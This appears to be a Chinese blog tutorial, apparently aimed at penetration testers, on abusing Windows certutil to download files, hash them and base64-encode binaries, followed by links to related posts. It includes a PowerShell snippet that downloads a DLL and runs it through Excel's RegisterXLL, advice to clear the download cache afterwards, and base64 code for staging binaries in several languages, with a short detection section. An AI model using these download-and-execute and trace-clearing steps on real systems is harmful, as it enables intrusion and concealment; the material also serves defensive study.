certutil简介

用于证书管理

支持环境: XP  -  Windows 10 全系统

更多:https://technet.microsoft.com/zh-cn/library/cc755341(v=ws.10).aspx

downloader

(1) 保存在当前路径,文件名称同URL

eg:

certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/version.txt

(2) 保存在当前路径,指定保存文件名称

eg:

certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/version.txt file.txt

(3) 保存在缓存目录,名称随机

缓存目录位置: %USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content

eg:

certutil.exe -urlcache -f https://raw.githubusercontent.com/3gstudent/test/master/version.txt

(4) 支持保存二进制文件

eg:

certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll

注:

使用downloader默认在缓存目录位置: %USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content保存下载的文件副本

清除下载文件副本方法:

方法1: 直接删除缓存目录对应文件

如下图

方法2: 命令行:

certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll delete

补充:

查看缓存项目:

certutil.exe -urlcache *

如下图

实际测试:

测试系统安装Office软件,下载执行dll对应的powershell代码如下:

$path="c:\test\msg1.dll"
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll $path
$excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application"))
$excel.RegisterXLL($path)

 测试如下:

2、计算文件hash

(1) SHA1

certutil.exe -hashfile msg.dll

(2) SHA256:

certutil.exe -hashfile msg.dll SHA256

(3) MD5:

certutil.exe -hashfile msg.dll MD5

3、base64编码转换

(1) base64编码:

CertUtil -encode InFile OutFile

(2) base64解码

CertUtil -decode InFile OutFile

注:

编码后的文件会添加两处标识信息:

文件头:

-----BEGIN CERTIFICATE-----

文件尾:

-----END CERTIFICATE-----

如下图

downloader常用方法

利用certUtil简便快捷,但是使用后需要注意清除缓存,路径如下:

%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content

downloader常用方法如下:

  • certUtil
  • powershell
  • csc
  • vbs
  • JScript
  • hta
  • bitsadmin
  • wget
  • debug
  • ftp
  • ftfp

base64编码转换常用方法

在编写脚本操作二进制文件时,常常会因为不可见字符报错,所以通常会选择先对二进制文件作base64编码再操作,最后通过解码还原出二进制文件。

所以在此整理一下常用不同开发工具对应的base64编码转换方式

powershell

base64编码:

$PEBytes = [System.IO.File]::ReadAllBytes("C:\windows\system32\calc.exe")
$Base64Payload = [System.Convert]::ToBase64String($PEBytes)
Set-Content base64.txt -Value $Base64Payload

base64解码:

$Base64Bytes = Get-Content ("base64.txt")
$PEBytes= [System.Convert]::FromBase64String($Base64Bytes)
[System.IO.File]::WriteAllBytes("calc.exe",$PEBytes)

C SHARP(c#)

base64编码:

using System.IO;

byte[] AsBytes = File.ReadAllBytes(@"C:\windows\system32\calc.exe");
String AsBase64String = Convert.ToBase64String(AsBytes);
StreamWriter sw = new StreamWriter(@"C:\test\base64.txt");
sw.Write(AsBase64String);
sw.Close();

base64解码:

using System.IO;

String AsString = File.ReadAllText(@"C:\test\base64.txt");
byte[] bytes = Convert.FromBase64String(AsString);
FileStream fs = new FileStream(@"C:\test\calc.exe", FileMode.Create);
fs.Write(bytes, 0, bytes.Length);
fs.Flush();
fs.Close();

js

base64解码:

fso1=new ActiveXObject("Scripting.FileSystemObject");
f=fso1.OpenTextFile("C:\\test\\base64.txt",1);
base64string=f.ReadAll();
f.Close();
enc = new ActiveXObject("System.Text.ASCIIEncoding");
length = enc.GetByteCount_2(base64string);
ba = enc.GetBytes_4(base64string);
transform = new ActiveXObject("System.Security.Cryptography.FromBase64Transform");
ba = transform.TransformFinalBlock(ba, 0, length);
s=new ActiveXObject("ADODB.Stream");
s.Type=1;
s.Open();
s.Write(ba);
s.SaveToFile("C:\\test\\calc.exe",2);

certutil

base64编码:

CertUtil -encode InFile OutFile

base64解码:

CertUtil -decode InFile OutFile

注:

编码后的文件会添加两处标识信息:

文件头:

—–BEGIN CERTIFICATE—–

文件尾:

—–END CERTIFICATE—–

检测downloader

查看利用certUtil下载文件的缓存记录:

certutil.exe -urlcache *

缓存文件位置:

%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content

[渗透技巧] Windows命令行下载的更多相关文章

  1. [小技巧] Windows 命令行显示英文

    在 Windows 里 " 运行" 使用 cmd 进行命令行, 如果是Windows 中文版的话,里面的命令输出是中文. 如果要显示英文的话,可以使用如下的命令: chcp 437 ...

  2. Microsemi Libero使用技巧——使用命令行模式下载程序

    前言 在工程代码编译完成之后,如果需要给某个芯片下载程序时,或者是工厂量产烧录程序时,我们不需要把整个工程文件给别人,而只需要把生成的下载文件给别人,然后使用FlashPro就可以单独下载程序文件了. ...

  3. 【转】curl 命令行下载工具使用方法小结

    获取curl curl 命令行下载工具 curl的官方网站为: http://curl.haxx.se官方下载页面为:http://curl.haxx.se/download.html 你可能并不清楚 ...

  4. 渗透技巧——Windows系统的帐户隐藏

    渗透技巧——Windows系统的帐户隐藏 2017-11-28-00:08:55  0x01 帐户隐藏的方法 该方法在网上已有相关资料,本节只做简单复现 测试系统:·Win7 x86/WinXP 1. ...

  5. git代理,windows命令行代理,linux命令行代理

    下载不动设置代理:git config --global http.proxy http://127.0.0.1:1080git config --global https.proxy https:/ ...

  6. Windows命令行中使用SSH连接Linux

    转自 http://www.linuxidc.com/Linux/2014-02/96625.htm 1.下载: openssh for Winodws: 免费下载地址在 http://linux.l ...

  7. 探索Windows命令行系列(2):命令行工具入门

    1.理论基础 1.1.命令行的前世今生 1.2.命令执行规则 1.3.使用命令历史 2.使用入门 2.1.启动和关闭命令行 2.2.执行简单的命令 2.3.命令行执行程序使用技巧 3.总结 1.理论基 ...

  8. 探索Windows命令行系列(6):活用批处理解决实际问题

    1.批量修改文件名 2.批量重启服务 3.全盘搜索指定文件 3.1.全盘搜索名称为 mm.jpg 的文件,获取其全路径 3.2.查找系统中所有名称以 .docx 结尾的文件 4.调用可执行程序 4.1 ...

  9. 像Linux终端一样使用windows命令行【cmder】

    像Linux终端一样使用windows命令行[cmder] 下载cmder 我下载的是full版,下载之后是个压缩包,解压之后点击cmder.exe即可运行. 需要解决的几个问题 默认的是λ,当然还是 ...

随机推荐

  1. 关于java集合类TreeMap的理解(转)

    概要 这一章,我们对TreeMap进行学习. 转载请注明出处:http://www.cnblogs.com/skywang12345/admin/EditPosts.aspx?postid=33109 ...

  2. 批处理学习笔记7 - 管道连接符"|"

    |就是把左边作为值传递给右边.有一些命令运用它比较方便 @echo off ping baidu.com | find "TTL" pause 这段命令就是把左边ping的结果传递 ...

  3. C++11新特性应用--介绍几个新增的便利算法(用于排序的几个算法)

    继续C++11在头文件algorithm中添加的算法. 至少我认为,在stl的算法中,用到最多的就是sort了,我们不去探索sort的源代码.就是介绍C++11新增的几个关于排序的函数. 对于一个序列 ...

  4. Facebook提出DensePose数据集和网络架构:可实现实时的人体姿态估计

    https://baijiahao.baidu.com/s?id=1591987712899539583 选自arXiv 作者:Rza Alp Güler, Natalia Neverova, Ias ...

  5. Oracle PLSQL Demo - 27.Declare & Run Sample

    declare v_sal ) :; begin --if you could not see the output in console, you should set output on firs ...

  6. ios开发之修改 UITableview 滚动条颜色的方法

    UITableview 的滚动条默认颜色是黑色的,如果 UItableview 背景也是深颜色,则滚动条会变的很不明显.您可以用下面这行代码来改变滚动条的颜色 self.tableView.indic ...

  7. 【Unity/Kinect】显示Kinect摄像头内容,屏幕显示环境背景及人体投影

    最近学习用Unity做些体感小游戏,使用Kinect的Unity插件,结合一些官方Demo学习(网上资源用Unity做的较少,蛋疼).插件及其Demo就在Unity商店里搜Kinect即可找到,其中下 ...

  8. Android——edittext的几个属性

    <EditText android:layout_columnSpan="2" android:hint="To" android:layout_grav ...

  9. java——关于数组的定义 和 访问修饰符的修饰内容

    public class Shuzu { public static void main(String[] args) { // 定义数组 必须初始化长度,没有初始化要放数据 int[] in = { ...

  10. 内核定时器timer_list

    内核在时钟中断发生后执行检测各个定时器是否到期,到期后的定时器处理函数将作为软中断在底半部执行.实质上,时钟中断处理程序会唤起TIMER_SOFTIRQ软中断,运行当前处理器上到期的所有定时器.lin ...